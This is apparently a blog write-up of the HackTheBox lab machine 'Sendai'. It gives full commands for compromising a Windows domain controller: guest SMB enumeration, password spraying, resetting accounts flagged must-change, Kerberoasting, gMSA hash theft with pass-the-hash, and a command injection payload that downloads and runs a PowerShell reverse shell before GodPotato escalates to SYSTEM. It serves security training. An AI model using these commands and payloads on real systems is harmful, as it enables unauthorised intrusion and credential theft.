HTB: Sendai
← Back to the log
October 18, 2026·Johnytiger

HTB: Sendai

A guest-readable share and a pending password-reset policy let us reset two accounts and get a real foothold. From there it's Kerberoasting, a BloodHound path to ReadGMSAPassword on a gMSA account, a dead-end SQL detour, then reversing a service dll into a command injection and GodPotato for SYSTEM.

securityctfwriteuphacktheboxactive directorywindowsgmsabloodhoundcommand injectionprivilege escalation

Looking at our nmap we have a domain and a DC, so let's add those two to our /etc/hosts file.

The nmap scan revealing a Windows domain controller for sendai.vl

Let's go ahead and check the SMB shares and see if we can view anything as guest.

nxc smb sendai.vl -u '' -p '' --shares

netexec listing the SMB shares as the guest account, including a company share called sendai

Yes we can, great. We've got a company share available to us called "sendai". Let's run a spider with netexec and see what we can find.

nxc smb sendai.vl -u 'guest' -p '' -M spider_plus

There are a lot of files here, but we can see an incident.txt, guidelines.txt and a few binaries in the sendai directory. Let's download them to our box.

spider plus crawling the sendai share and turning up incident and guidelines text files alongside some binaries

Apparently a lot of the users have weak passwords and have been asked to change them at next logon. Maybe we can abuse this and find an account we can reset ourselves.

The incident note explaining that many users have weak passwords and must change them at next logon

Let's enumerate the users in the domain.

nxc smb sendai.vl -u 'guest' -p '' --rid-brute 5000

A guest rid-brute enumerating domain accounts into a long list of usernames

We've got a good amount of info here, so let's write all these names into a users.txt file and try a quick spray where the username is the password.

nxc smb 10.129.234.66 -u users.txt -p users.txt --no-bruteforce --continue-on-success

A username-equals-password spray coming back with no hits

No success spraying the users. Looking back at the rid-brute though, we're missing 1106 between 1105 and 1107. That could be the user with the pending password reset, so let's hit it with kerbrute and a spray of common account names.

Spotting a gap in the rid sequence where account 1106 is missing

kerbrute userenum -d sendai.vl --dc 10.129.234.66 maybe_users.txt -t 50

kerbrute user enumeration confirming valid accounts from a guessed list

That mgtsvc is a new account we didn't have on the list. Let's add it and run the spray again with netexec.

kerbrute turning up a new mgtsvc account that was not in the original list

We have a hit, but it's only confirming guest. Let's see what else we can do with this account.

A spray landing a hit, but only confirming guest-level access

No luck. Let's keep trying a few other things, maybe we can change some passwords.

Further enumeration of the account leading nowhere

A few things didn't pan out, so let's check which of our users actually need a password change.

nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success 2>&1 | grep -i MUST_CHANGE

Filtering the spray output for the password-must-change flag and finding two accounts

Nice, we've got two accounts here that need their passwords changed. Let's go ahead and reset both of them.

impacket-changepasswd 'sendai.vl/Elliot.Yates:@10.129.234.66' -newpass 'Poseidon123!'
impacket-changepasswd 'sendai.vl/Thomas.Powell:@10.129.234.66' -newpass 'Poseidon123!'

Hitting enter when it asks for the current password gives us a successful change.

Using impacket changepasswd to set new passwords on the two flagged accounts

Alright, let's see if it actually worked.

Confirming the password resets worked for both accounts

It worked on both accounts. Let's Kerberoast the Elliot account and see what we get.

nxc ldap 10.129.234.66 -u Elliot.Yates -p 'Poseidon123!' --kerberoasting kroast.txt

Kerberoasting the Elliot account and pulling several service ticket hashes

We get multiple hits. Let's try to crack them with rockyou.

hashcat -m 13100 kroast.txt /usr/share/wordlists/rockyou.txt

No crack, so let's enumerate the Elliot account and check for shares and WinRM.

Enumerating shares and WinRM access with the Elliot account, showing read and write on a few shares

We've got read/write on a few shares. Before we try to coerce a callback, let me run an ldap users query now that we have a real account and see if we're missing anyone.

nxc ldap 10.129.234.66 -u Elliot.Yates -p 'Poseidon123!' --users

An ldap users query with a real account revealing more domain accounts we had missed

We are. Now that we have a bunch of accounts, this is a good time to run BloodHound and check the graph for any paths we can take.

A BloodHound graph showing a path from our users through the support group to ReadGMSAPassword on the mgtsvc account

We've got a path: Elliot, Thomas or Susan into the support group, which gives us ReadGMSAPassword on mgtsvc, who's a member of Remote Management. Let's add our Elliot account to admsvc with BloodyAD.

bloodyAD --host 10.129.234.66 -d sendai.vl -u Elliot.Yates -p 'Poseidon123!' add groupMember admsvc Elliot.Yates

Now let's read the gMSA password for mgtsvc.

nxc ldap 10.129.234.66 -u Elliot.Yates -p 'Poseidon123!' --gmsa

Reading the gMSA password for the mgtsvc account and recovering its NTLM hash

We've got the NTLM hash. Let's check WinRM.

nxc winrm 10.129.234.66 -u 'mgtsvc$' -H 'd36e3c08de9bf815f1ffa8a65cfec1f2'

netexec confirming WinRM access as the mgtsvc machine account using its hash

We've got access. Let's log in with evil-winrm.

evil-winrm -i 10.129.234.66 -u 'mgtsvc$' -H 'd36e3c08de9bf815f1ffa8a65cfec1f2'

An evil-winrm shell as the mgtsvc account listing the C drive and reading the user flag, blurred

Heading to the C:\ root we find the user.txt flag.

Checking privileges, this account has nothing. But now that we have Elliot, let's run it through certipy and see what's vulnerable.

certipy find -u Elliot.Yates@sendai.vl -p 'Poseidon123!' -dc-ip 10.129.234.66 -stdout -vulnerable

Running certipy against the Elliot account to hunt for vulnerable certificate templates

Checking without the vulnerable filter, we find the Sendai computer has write permissions.

certipy without the vulnerable filter showing the Sendai computer has write permissions

Let's head back and enumerate Elliot's writable SMB shares. Just as suspected, that config directory is carrying a sql config file with credentials.

A config directory on one of the writable shares holding a sql config file with credentials inside

Let's run an ldap users query with this new account.

nxc ldap 10.129.234.66 -u sqlsvc -p 'SurenessBlob85' --users

It's the anthony.smith account we need. We have the sql account, and there's a SQL service running locally on the box that we can't reach from Kali. Let's set up a proxy tunnel through our WinRM shell and hit it from Kali.

ligolo-proxy --selfcert

Setting up a ligolo proxy tunnel through the WinRM shell to reach services only bound locally

impacket-mssqlclient sendai.vl/sqlsvc:'SurenessBlob85'@240.0.0.1 -windows-auth

Connecting to the local MSSQL instance through the tunnel as the sql service account

We're in. Let's start digging through the database for any credentials.

Exploring the database tables looking for credentials or a foothold

After going through the database we don't find anything useful: no impersonation, no sysadmin, no shell, this is a guest account. Enumerating it a bit more with BloodyAD, it's starting to look like a dead end.

Enumerating the sql account with bloodyAD and realizing it is a dead end

With nothing else to try on this account, let's take a step back, head over to the mgtsvc shell, drop winPEAS and let it rip.

winPEAS on the mgtsvc shell flagging a local service and an interesting dll

There's a service running here according to winPEAS, with a .dll file. Let's pull that back to Kali and try to reverse engineer it.

After fiddling around a bit, we finally decompile it and catch a glimpse of what's going on under the hood.

Decompiling the service dll and getting a first look at what it does under the hood

Look at this, we might be able to inject a payload here.

Spotting what looks like a command injection point inside the decompiled code

sudo tcpdump -i tun0 -n icmp
curl -sk "https://service.sendai.vl/Home/Check" --data-urlencode "subdomain=x';ping 168431315;#"

tcpdump catching ping callbacks after injecting into the subdomain parameter, confirming the injection

Yes we can, we're getting pings back. Let's see what we can do with this. We build a PowerShell reverse shell payload named "s" and curl it in from our box.

curl -sk "https://service.sendai.vl/Home/Check" --data-urlencode "subdomain=x';\$u=('http'+[char]58+[char]47+[char]47+'168431315'+[char]58+'8000'+[char]47+'s');iex(iwr -useb \$u);#"

This lands us in the websvc shell, which has SeImpersonatePrivilege.

Landing a reverse shell as the websvc account which holds SeImpersonatePrivilege

Let's bring over GodPotato and attempt to get an NT AUTHORITY\SYSTEM shell.

.\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"

And we grab the root flag from the Administrator's desktop.

Using GodPotato to abuse SeImpersonate, reach NT AUTHORITY SYSTEM, and read the root flag, blurred

This box was a lot of fun and had me stuck in a hole for a while with that sql account. Great practice for chaining weak-password resets, gMSA abuse and a bit of reversing into a real foothold.

End of transmissionAll posts
Drive
Johnytiger
HTB: Sendai · Johnytiger